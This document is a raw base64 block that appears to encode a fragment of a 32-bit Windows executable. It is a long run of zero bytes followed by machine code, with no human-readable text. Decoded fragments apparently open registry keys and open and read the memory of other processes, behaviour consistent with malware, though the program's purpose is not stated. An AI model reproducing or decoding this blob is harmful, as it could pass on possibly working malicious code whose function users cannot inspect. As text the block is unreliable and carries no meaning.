AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFWL7IPsFItF EFNWM/ZXM9uJdeyJdfiJRfA7dRAPjW8BAACLRfBqA1o7wolV9H0DiUX0i030uD09PT2Nffxm q4XJqn4Vi0UIjX38A/CLwcHpAvOli8gjyvOkik38isHA6AKF24hF/3Qmi30Uhf9+J4vDi3UM K0X4mff/hdJ1G8YEMw1DxgQzCkODRfgC6wuLdQyLfRTrA4t1DA+2Rf+LFTDwQACA4QPA4QSK BBCIBDOKRf2K0EPA6gQCyoXbdCGF/34di8MrRfiZ9/+F0nUOxgQzDUPGBDMKQ4NF+AKKRf2L FTDwQAAkDw+2ycDgAooMEYgMM4pN/orRQ8DqBgLChduIRf90HoX/fhqLwytF+Jn3/4XSdQ7G BDMNQ8YEMwpDg0X4Ag+2Rf+LFTDwQACKBBCIBDNDg330An8FxkQz/z2A4T+F23Qehf9+GovD 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 